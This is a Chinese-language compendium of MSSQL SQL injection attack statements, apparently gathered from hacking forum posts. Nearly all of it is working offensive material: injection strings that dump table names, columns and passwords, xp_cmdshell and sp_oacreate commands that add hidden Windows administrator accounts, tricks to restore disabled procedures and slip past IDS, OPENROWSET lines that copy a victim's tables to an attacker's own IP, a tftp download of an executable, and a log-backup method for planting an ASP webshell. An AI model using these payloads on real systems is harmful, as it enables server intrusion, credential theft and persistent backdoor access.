sql注入語句大全

sql注入語句大全
--是否存在xp_cmdshell
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell') web

--用xp_cmdshell執行命令
;exec master..xp_cmdshell "net user name password /add"--
;exec master..xp_cmdshell "net localgroup name administrators /add"-- sql

--查看權限
and (select IS_SRVROLEMEMBER('sysadmin'))=1-- //sa
and (select IS_MEMBER('db_owner'))=1-- // dbo
and (select IS_MEMBER('public'))=1-- //public shell

--建立個登錄mssql的賬號
;exec master.dbo.sp_addlogin name,pass;-- 數據庫

--把建立的mssql登錄賬號提高到sysadmin
;exec master.dbo.sp_addsrvrolemember name,sysadmin;--
有用的擴展 windows

--得到MS SQL的版本號 //mssql版本
execute master..sp_msgetversion // dbo public 安全

--獲得硬盤文件信息 //dbo public
--參數說明:目錄名,目錄深度,是否顯示文件 //讀取磁盤目錄和文件
execute master..xp_dirtree 'c:' //列出全部c:\文件和目錄,子目錄
execute master..xp_dirtree 'c:',1 //只列c:\文件夾
execute master..xp_dirtree 'c:',1,1 //列c:\文件夾加文件 服務器

--列出服務器上全部windows本地組
execute master..xp_enumgroups //dbo app

--獲得當前sql server服務器的計算機名稱 //得到計算機名
execute master..xp_getnetname //dbo public dom

--列出指定目錄的全部下一級子目錄
EXEC [master].[dbo].[xp_subdirs] 'c:\WINNT' //能夠列目錄 ide

--列出服務器上固定驅動器,以及每一個驅動器的可用空間
execute master..xp_fixeddrives //dbo public

--顯示系統上可用的盤符
execute master..xp_availablemedia //dbo

--獲取某文件的相關屬性
execute master..xp_getfiledetails 'C:1.txt' //dbo public

--統計數據庫裏每一個表的詳細狀況
exec sp_MSforeachtable 'sp_spaceused ''?''' //查詢表 //dbo public

--得到每一個表的記錄數和容量
exec sp_MSforeachtable 'select ''?''','?', 'sp_spaceused ''?''', 'SELECT count(*) FROM ? ' //dbo pubilc

--更新Table1/Table2中note列爲NULL的值
sp_MSforeachtable 'Update ? Set note='''' Where note is null',null,null,null,' AND o.name in (''Table1'',''Table2'')

--列出服務器域名
xp_ntsec_enumdomains //機器名 //dbo public

--中止或者啓動某個服務
xp_servicecontrol 'stop','schedule' //schedule是服務得名稱 //dbo

--用pid來中止某個執行中的程序
xp_terminate_process 123 //123是pid //dbo

--只列某個目錄下的子目錄
dbo.xp_subdirs 'C:' //dbo

--服務器安全模式信息
xp_loginconfig //dbo


xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite

--將新擴展存儲過程的名稱註冊到 Microsoft? SQL Server? 上。
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll' //恢復xp_cmdshell

恢復過程sp_addextendedproc 以下:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc

建立新的 Microsoft? SQL Server? 登陸//只有 sysadmin 和 securityadmin 固定服務器角色的成員才能夠執行 sp_addlogin。

 

 

補丁版本
其中的8.00.760就是SQL Server的版本和補丁號。對應關係以下:


8.00.194 -——————SQL Server 2000 RTM
8.00.384 -——————(SP1)
8.00.534 -——————(SP2)
8.00.760 -——————(SP3)
在db權限而且分離獲取mssql數據庫服務器ip的方法

1.本地nc監聽 nc -vvlp 80

2.;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的ip,80;', 'select * from dest_table') select * from src_table;--

其餘的都不用管
xp_cmdshell的刪除及恢復


恢復xp_cmdshell的方法
刪除擴展存儲過過程xp_cmdshell的語句
exec sp_dropextendedproc ’xp_cmdshell’

恢復cmdshell的sql語句
exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’

exec master.dbo.addextendedproc ’xp_cmdshell’,’xplog70.dll’;select count(*) from master.dbo.sysobjects where xtype=’x’ and
返回結果爲1就ok

不然需上傳c:\inetput\web\xplog70.dll後
exec master.dbo.sp_addextendedproc ’xp_cmdshell’,’c:\inetput\web\xplog70.dll’;--

若是是用如下方法刪除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc ’xp_cmdshell’

則能夠用如下語句恢復
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
這樣能夠直接恢復,不用去管sp_addextendedproc是否是存在
去掉tenlnet的ntlm認證

;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'—
public權限列目錄

提起public權限的用戶估計不少人也以爲鬱悶了吧~N久之前看了一篇《論在mssql中public和db_owner權限下拿到webshell或是系統權限》的文章(名字真長-_-!!!),裏面說到沒辦法利用xp_regread,xp_dirtree…這些存儲過程,緣由是public沒有辦法建表,我在這裏矯正一下其實public是能夠建表的~呵呵,使這些存儲過程能利用上,看下面的代碼吧

--創建一個臨時表,通常的表咱們是無辦法創建的,咱們只能創建臨時表

create table ##nonamed(

dir ntext,

num int

)

--調用存儲過程把執行回來的數據存到臨時表裏面

insert ##nonamed execute master..xp_dirtree 'c:\',1

--而後採用openrowset函數把臨時表的數據導到本地MSSQL 的dirtree表裏面了

insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select * from Northwind.dbo.dirtree')

select * from ##nonamed

以上方法,也就是說public能夠遍歷用戶服務器的目錄
MSSQL自身存儲過程的一個注入

master..sp_resolve_logins存儲過程當中,對@dest_path參數過濾不嚴,致使xp_cmdshell注入。

分析:
SELECT @dest_path = RTRIM(LTRIM(@dest_path))

-- If the last char is '\', remove it.
IF substring(@dest_path, len(@dest_path),1) = '\'
SELECT @dest_path = substring(@dest_path, 1, len(@dest_path)-1)

-- Don't do validation if it is a UNC path due to security problem.
-- If the server is started as a service using local system account, we
-- don't have access to the UNC path.
IF substring(@dest_path, 1,2) <> '\\'
BEGIN
SELECT @command = 'dir "' + @dest_path + '"'
exec @retcode = master..xp_cmdshell @command, 'no_output'
IF @@error <> 0
RETURN (1)
IF @retcode <> 0
BEGIN
raiserror (14430, 16, -1, @dest_path)
RETURN (1)
END
END

master..sp_resolve_logins存儲過程 在這一段,通過必定的判斷,對 @dest_path 進行了必定的過濾。
可是沒有過濾"(雙引號)致使了 xp_cmdshell執行任意SQL語句

測試代碼:
EXEC sp_resolve_logins 'text', 'e:\asp\"&net user admina admin /add&net localgroup administrators admina /add&dir "e:\asp', '1.asp'
執行上述MSSQL語句,成功添加了一個名爲admina的系統賬號

可是此存儲過程代碼中通過判斷,須要系統systemadmin權限的賬號
Re:沙盒
一般一臺MSSQL服務器同時支持Access數據庫,因此只要有一個sa或者dbowner的鏈接(至少對master庫具備db_owner權限,默認狀況下是沒有的),就知足了修改註冊表的條件,由於MSSQL有一個名爲xp_regwrite的擴展,它的做用是修改註冊表的值.語法以下
exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value
若是存在一個sa或者dbowner的鏈接的SQL注入點,就能夠構造出以下注入語句InjectionURL;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'--那咱們將SandBoxMode開關的註冊表值修改成0就成功了.接着鏈接到一個Access數 據庫中,就能夠執行系統命令,固然執行系統命令咱們只須要一個Access數據庫相關Select的注入點或者直接用ASP文件Select調用這個 VBA的shell()函數,可是實際上MSSQL有一個的OpenRowSet函數,它的做用是打開一個特殊的數據庫或者鏈接到另外一個數據庫之中.當我 們有一個SA權限鏈接的時候,就能夠作到打開Jet引擎鏈接到一個Access數據庫,同時咱們搜索系統文件會發現windows系統目錄下自己就存在兩 個Access數據庫,位置在%windir%\system32\ias\ias.mdb或者%windir%\system32\ias\ dnary.mdb,這樣一來咱們又能夠利用OpenRowSet函數構造出以下注入語句:InjectionURL';Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\winnt\system32\ias\ias.mdb','select shell("net user ray 123 /ad")');--
若是你以爲不大好懂的話,我能夠給你作一個簡化的理解:1,Access能夠調用VBS的函數,以System權限執行任意命令2,Access執行這個命令是有條件的,須要一個開關被打開3,這個開關在註冊表裏4,SA是有權限寫註冊表的5,用SA寫註冊表的權限打開那個開關6,調用Access裏的執行命令方法,以system權限執行任意命令執行SQL命令,執行了如下命令:EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user zyqq 123 /add")');Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators
'group by users.id having 1=1--
'group by users.id, users.username, users.password, users.privs having 1=1--
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )--

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id')-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id','login_name')-
UNION SELECT TOP 1 login_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_name='Rahul'--

看服務器打的補丁=出錯了打了SP4補丁
and 1=(select @@VERSION)--

看數據庫鏈接帳號的權限,返回正常,證實是服務器角色sysadmin權限。
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))--

判斷鏈接數據庫賬號。(採用SA帳號鏈接 返回正常=證實了鏈接帳號是SA)
and 'sa'=(SELECT System_user)--
and user_name()='dbo'--
and 0<>(select user_name()--

看xp_cmdshell是否刪除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')--

xp_cmdshell被刪除,恢復,支持絕對路徑的恢復
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetpub\wwwroot\xplog70.dll'--

反向PING本身實驗
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

加賬號
;DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add'--

建立一個虛擬目錄E盤:
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默認Web站點" -v "e","e:\"'--

訪問屬性:(配合寫入一個webshell)
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'

爆庫 特殊技巧::%5c='\' 或者把/和\ 修改%5提交
and 0<>(select top 1 paths from newtable)--

獲得庫名(從1到5都是系統的id,6以上才能夠判斷)
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 獲得更多的數據庫名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一個表 假設爲 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 來獲得其餘的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id))) 暴到UID的數值假設爲18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 獲得一個admin的一個字段,假設爲 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...)) 來暴出其餘的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 能夠獲得用戶名
依次能夠獲得密碼。。。。。假設存在user_id username ,password 等字段

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 獲得表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判斷id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 全部字段

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)

獲得WEB路徑
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)--
;use ku1;--
;create table cmd (str image);-- 創建image類型的表cmd

存在xp_cmdshell的測試過程:
;exec master..xp_cmdshell 'dir'
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL賬號
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_cmdshell 'net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators jiaoniang$ /add';--
exec master..xp_servicecontrol 'start', 'schedule' 啓動服務
exec master..xp_servicecontrol 'start', 'server'
; DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add'
;DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add'
'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-- 利用TFTP上傳文件

;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'
;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat'
若是被限制則能夠。
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')

查詢構造:
SELECT * FROM news WHERE id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 顯示有一個叫ffff的用戶哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
;update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--
';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--
';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--
上面的語句是獲得數據庫中的第一個用戶表,並把表名放在ffff用戶的郵箱字段中。
經過查看ffff的用戶資料可得第一個用表叫ad
而後根據表名ad獲得這個表的ID 獲得第二個表的名字

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, 'admin''--', 'password', 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //爲access數據庫

枚舉出數據表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
這是將第一個表名更新到aaa的字段處。
讀出第一個表,第二個表能夠這樣讀出來(在條件後加上 and name<>'剛纔獲得的表名')。
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
而後id=1552 and exists(select * from aaa where aaa>5)
讀出第二個表,一個個的讀出,直到沒有爲止。
讀字段是這樣:
;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
而後id=152 and exists(select * from aaa where aaa>5)出錯,獲得字段名
;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
而後id=152 and exists(select * from aaa where aaa>5)出錯,獲得字段名

[得到數據表名][將字段值更新爲表名,再想法讀出這個字段的值就可獲得表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你獲得的表名' 查出一個加一個]) [ where 條件] select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
經過SQLSERVER注入漏洞建數據庫管理員賬號和系統管理員賬號[當前賬號必須是SYSADMIN組]

[得到數據表字段名][將字段值更新爲字段名,再想法讀出這個字段的值就可獲得字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查詢的數據表名'),字段列如:1) [ where 條件]

繞過IDS的檢測[使用變量]
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'

一、 開啓遠程數據庫
基本語法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123', 'select * from table1' )
參數: (1) OLEDB Provider name
二、 其中鏈接字符串參數能夠是任何端口用來鏈接,好比
select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;', 'select * from table'
3.複製目標主機的整個數據庫insert全部遠程表到本地表。
基本語法:
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123', 'select * from table1') select * from table2
這行語句將目標主機上table2表中的全部數據複製到遠程數據庫中的table1表中。實際運用中適當修改鏈接字符串的IP地址和端口,指向須要的地方,好比:
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from table1') select * from table2
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysdatabases')
sele
Re:log備份的總結
當SQL注入是獲得DB權限時候,接下來能夠作的工做不少,象找管理員密碼,後臺管理這些均可以幫助你拿到WEBSHELL,可是這篇文章講的是log備份,LOG備份出來的小馬的體積小,並且備份的成功的可性很大,因此是我做爲對DB權限的第一種試探方法.
可是在LOG備份中,咱們常常會遇到一些很讓咱們頭痛的問題,那就是閉合的問題,我在這裏作個總結,也
好讓咱們對不能閉合的方法有一個全面的瞭解.
1.先介紹下LOG備份,這個相信你們都很熟悉了,我仍是習慣在IE裏直接提交,返回正常的頁面就說這一步的操做就成功了,若是沒有返回正常的頁面,咱們就能夠根據IE返回的錯誤來找他的緣由.(這裏說下要將IE的錯誤提示給打開),LOG的格式以下所示:
http://www.site.com/xx.asp?id=xxx;alter database databasename set RECOVERY FULL
http://www.site.com/xx.asp?id=xxx;create table cmd (a image)--
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'c:\cmd' with init
http://www.site.com/xx.asp?id=xxx;insert into cmd (a) values ('<%%25Execute(request("go"))%

%25>')--
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'x:\xxx\xxx\asp1.asp'--
http://www.site.com/xx.asp?id=xxx;drop table cmd--

分爲6步操做,最容易出錯的就是第4步的操做,常常返回沒有閉合的問題,下面就是一些咱們能夠將
values中的內容能夠進行更換的方式,當咱們的一種方式不行的話,就能夠換另外一種方式,當全部的方式
都換完了,沒有什麼好說的,要麼就放棄,要麼就換另外一種方式繼續,想列目錄找數據庫下載,後臺.這
裏就很少說了,能夠提換的內容有:
a).<%%25Execute(request("go"))%%25>
b).<%Execute(request("go"))%>
c).%><%execute request("go")%><%
d).<script language=VBScript runat=server>execute request("sb")</Script>
e).<%25Execute(request("l"))%25>

2.LOG備份要注意的一些問題:
a).要注意你如今的機器是否是WEB主機,簡單的方法就是翻他的目錄,看有沒有IIS安裝的文件
b).當你肯定你要找的確實是WEN主機時,就能夠找他的站點目錄了,這個也很重要,是步驟5的操做,若是備份到一個錯誤的目錄,固然就沒有辦法訪問了
c).備份成功後,你就能夠試着用客戶端去鏈接,這個地方也有人弄錯,如今用的字段是go,你的客戶端的
相關字段也爲go
d).用ececute正常備份出來的是用錯誤提示的,當你的顯示500錯誤時,請你將的IE錯誤提示打開,當顯示
Microsoft VBScript 運行時錯誤 錯誤 '800a000d'

類型不匹配: 'execute'
時候表示你已經成功了,鏈接吧!!
e).還有極端的時候你備份出來的一句話被殺(當你肯定你確實是備份在WEB主機的對應目錄是),你能夠將

上面的VALUES字段中的值作幾個大小寫轉換,通常是沒有問題的..
------------------------------------------------------------------------
今天測試log備份獲取WEBSEHLL遇到點問題,首先說下我本身理解經過log備份和差別備份的區別(不對和不完善的請你們指出與補充)。LOG備份獲得的WEBSHELL文件小,大大增長了成功率。避免了數據庫裏有特殊字符備份不成功的狀況。今天在測試是沒成功,備份出來沒有一句話馬,功能失去了,也就沒有任何意義了。提交上來討論下錯誤之處。
因爲是議題討論。用了真實地址,請勿破壞!
如下是個人語句:
引用內容
;alter database dweb set RECOVERY FULL--
;create table cmd (a image)--
;backup log dweb to disk = ‘c:\Sammy‘ with init--
;insert into cmd (a) values (‘0x3C256576616C20726571756573742822732229253E‘)--
;backup log dweb to disk = ‘d:\chen\s2.asp‘--

備份結果
http://www.site.com/s2.asp
十六進制形式備份出來了!
我再用以下語句! 引用內容
;Drop table [cmd]--
;alter database dweb set RECOVERY FULL--
;create table cmd (a image)--
;backup log dweb to disk = ‘c:\Sammy‘ with init--
;insert into cmd (a) values (‘<%eval request("s")%>‘)--
;backup log dweb to disk = ‘d:\chen\sssjjk.asp‘--

若是又以下
http://www.site.com/sssjjk.asp

是何緣由使LOG備份不成功呢?


是由於數據表沒有寫到你備份的數據庫當中,致使備份的ASP文件中沒有寫入咱們但願的一句話木馬,請在和數據表操做相關的語句中加入數據庫名,如:create table dweb.dbo.[cmd] (a image)--,而後再執行備份語句就能夠成功了

呵呵,你把馬改爲"<%%25Execute(request("s"))%%25>" 來試試..

注意,是加個.%25

問題已解決,把語句換成!
;insert into cmd (a) values (‘<%%25eval request("s")%%25>‘)--
確實能成功!謝謝!

;insert into cmd (a) values (‘0x3C256576616C20726571756573742822732229253E‘)--
樓主的這句是寫 字符串 「0x3C256576616C20726571756573742822732229253E」到文件裏 而不是木馬
把單引號去掉就能夠了
insert into cmd (a) values (0x3C256576616C20726571756573742822732229253E)--

…………………………………………………………………………………………………………
Blog被人滲透了一下,不知道各位掉了什麼東西沒有。原來有一次blog的目錄能夠列出來,那次我掉了一個小東西,而後今天別人告訴我NBSI 3用了那個東西的方法……呵呵,有點暈,就是下面的,成功率仍是很高的,你們能夠試試看。嗯,方法流出去無所謂,文章留着吧。

  dbowner經過注射獲得一個shell應該不是什麼難事情了,比較麻煩的是就算利用增量備份,仍然有不少不肯定的因素,若是以前別人有過什麼錯誤的寫入信息,可能備份出來獲得的仍是一些不能用的500錯誤,如何可以提升成功率及重用性呢?若是單從調整增量備份的方式來看,儘管可以達到一些效果,可是方法比較複雜並且效果不明顯。加上關於重用性的考慮,例如屢次備份的成功率,backup database的方法並不太適用。這裏將要講述的是另一個備份的方法,導出日誌文件到web目錄來得到shell。

  飯要一口一口的吃,技術問題也要一個一個的解決,獲得webshell首先要知道物理路徑,而後才能說其餘的。關於物理路徑的暴露有不少方法,注入也能夠獲得,這點nbsi2已經作到了,就再也不多說。值得注意的是,若是數據庫和web分離,這樣確定得不到webshell,備份出來的東西能夠覆蓋任何文件,一些關於開始菜單的想法仍是有效的,只要注意擴展名就好。扯遠了,反正若是數據庫和web在一塊的,你就有機會,反之仍是想其餘的辦法吧。

  而後你要獲得當前的權限和數據庫名。若是是sysadmin固然沒有必要作很複雜的事情,dbowner足矣,public則不行。當前打開的庫名用一個db_name()就能夠獲得,一樣很簡單。

  默認的狀況是,通常選擇的數據庫故障還原類型都是簡單,這時候不可以對日誌文件進行備份。然而咱們都是dbowner了,還有什麼不能作的呢,只要修改一下屬性就能夠。因爲不能去企業管理器中修改,只有用一段SQL語句,很簡單的,這樣就能夠:

  alter database XXXX set RECOVERY FULL

  其中XXXX是你獲得的數據庫的名字,執行事後就能夠備份日誌了。這種修改是破壞性的,由於你不知道之前的故障還原模式是什麼,細心的管理員看到異樣,可能就要開始起疑心。若是以前你能獲得數據庫的狀態,最好仍是在備份完之後把這個數據庫的屬性改回來。

  剩下的事情就是怎樣讓數據庫用最原始的方式記錄下你的數據了。這一點和backup database中設定表名爲image的問題相對應,若是你只是創建一個之類的表,日誌裏面的記錄仍是以鬆散的格式記錄的,也就是< % % >,沒有任何效果。經過實際的測試,發現仍是能夠經過與backup database相似的方式記錄進去,以下:

  create table cmd (a image)

  insert into cmd (a) values (’’)

  backup log XXXX to disk = ’c:\xxx\2.asp’

  這樣你已經獲得一個webshell了。

  到這裏就完了麼?沒有,呵呵,咱們繼續。

到這裏有兩個分支方向,第一個,讓注入的時候不出現單引號,太簡單了,我都懶得寫;第二個,減少這個webshell的長度以及提升成功率。下面的方法就是討論第二個分支問題的,一樣適用於backup database的減少。

  首先是初始化這個日誌。

  backup log XXXX to disk = ’c:\caonima’ with init

  這樣有點相似於增量備份的第一步,不過有點不一樣的是,你作了這個之後,你備份出來的可用的shell是固定的。這一點比較重要,由於有了這一步,無論管理員在數據庫裏面作了什麼擾亂你back database的手腳,或者你以前有多少混蛋(你確定會這麼想的)弄了些你不喜歡的東西,都沒有關係,甚至你作過之後,別人在後面再按照你的方法來一次,仍是會成功,這對於偶爾出現的反覆,好比對方機器重裝可是數據庫和代碼沒變,有不小的幫助。

  而後是調整一下backup中各個語句的順序。經過第一點,大概的步驟已經肯定下來了,那就是:
引用內容
 
  alter database XXXX set RECOVERY FULL

  backup log XXXX to disk = ’c:\Sammy’ with init

  create table cmd (a image)

  insert into cmd (a) values (’’)

  backup log XXXX to disk = ’c:\xxx\2.asp’
 
  這樣很差,感受上多了一條沒用的東西。

  create table cmd (a image)

  確實有點討厭,不過這句是必要的,只好調整一下位置,弄到其餘地方去。調換一下順序彷佛還能夠小一點,對於backup database中的增量狀況一樣是能夠的,backup database甚至能夠僅僅在update後立刻備份,不過因爲涉及到了數據的存儲格式,狀況很複雜,這裏不討論。調整後的是:
引用內容
  alter database XXXX set RECOVERY FULL

  create table cmd (a image)

  backup log XXXX to disk = ’c:\Sammy’ with init

  insert into cmd (a) values (’’)

  backup log XXXX to disk = ’c:\xxx\2.asp’

  成功的話,備份出來的shell(上面的2.asp)有78.5k,文件長度固定的是80,384字節。很挑剔的朋友也能夠接受了吧,固然用這個來生成一個乾淨的木馬也能夠——這原本就是頂端cs木馬的s端,很通用的。
顯示全部固定數據庫角色的權限。

EXEC sp_dbfixedrolepermission
Sql注射總結(早源於'or'1'='1)
  最重要的表名:
  select * from sysobjects
  sysobjects ncsysobjects
  sysindexes tsysindexes
  syscolumns
  systypes
  sysusers
  sysdatabases
  sysxlogins
  sysprocesses
  最重要的一些用戶名(默認sql數據庫中存在着的)
  public
  dbo
  guest(通常禁止,或者沒權限)
  db_sercurityadmin
  ab_dlladmin
  一些默認擴展
  xp_regaddmultistring
  xp_regdeletekey
  xp_regdeletevalue
  xp_regenumkeys
  xp_regenumvalues
  xp_regread
  xp_regremovemultistring
  xp_regwrite
  xp_availablemedia 驅動器相關
  xp_dirtree 目錄
  xp_enumdsn ODBC鏈接
  xp_loginconfig 服務器安全模式信息
  xp_makecab 建立壓縮卷
  xp_ntsec_enumdomains domain信息
  xp_terminate_process 終端進程,給出一個PID
  例如:
  sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll'
  exec xp_webserver
  sp_dropextendedproc 'xp_webserver'
  bcp "select * FROM test..foo" queryout c:/inetpub/wwwroot/runcommand.asp -c -Slocalhost -Usa -Pfoobar
  ' group by users.id having 1=1-
  ' group by users.id, users.username, users.password, users.privs having 1=1-
  '; insert into users values( 666, 'attacker', 'foobar', 0xffff )-
  union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'-
  union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')-
  union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')-
  union select TOP 1 login_name FROM logintable-
  union select TOP 1 password FROM logintable where login_name='Rahul'--
  構造語句:查詢是否存在xp_cmdshell
  ' union select @@version,1,1,1--
  and 1=(select @@VERSION)
  and 'sa'=(select System_user)
  ' union select ret,1,1,1 from foo--
  ' union select min(username),1,1,1 from users where username > 'a'-
  ' union select min(username),1,1,1 from users where username > 'admin'-
  ' union select password,1,1,1 from users where username = 'admin'--
  and user_name()='dbo'
  and 0<>(select user_name()-
  ; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net user swap 5245886 /add'
  and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
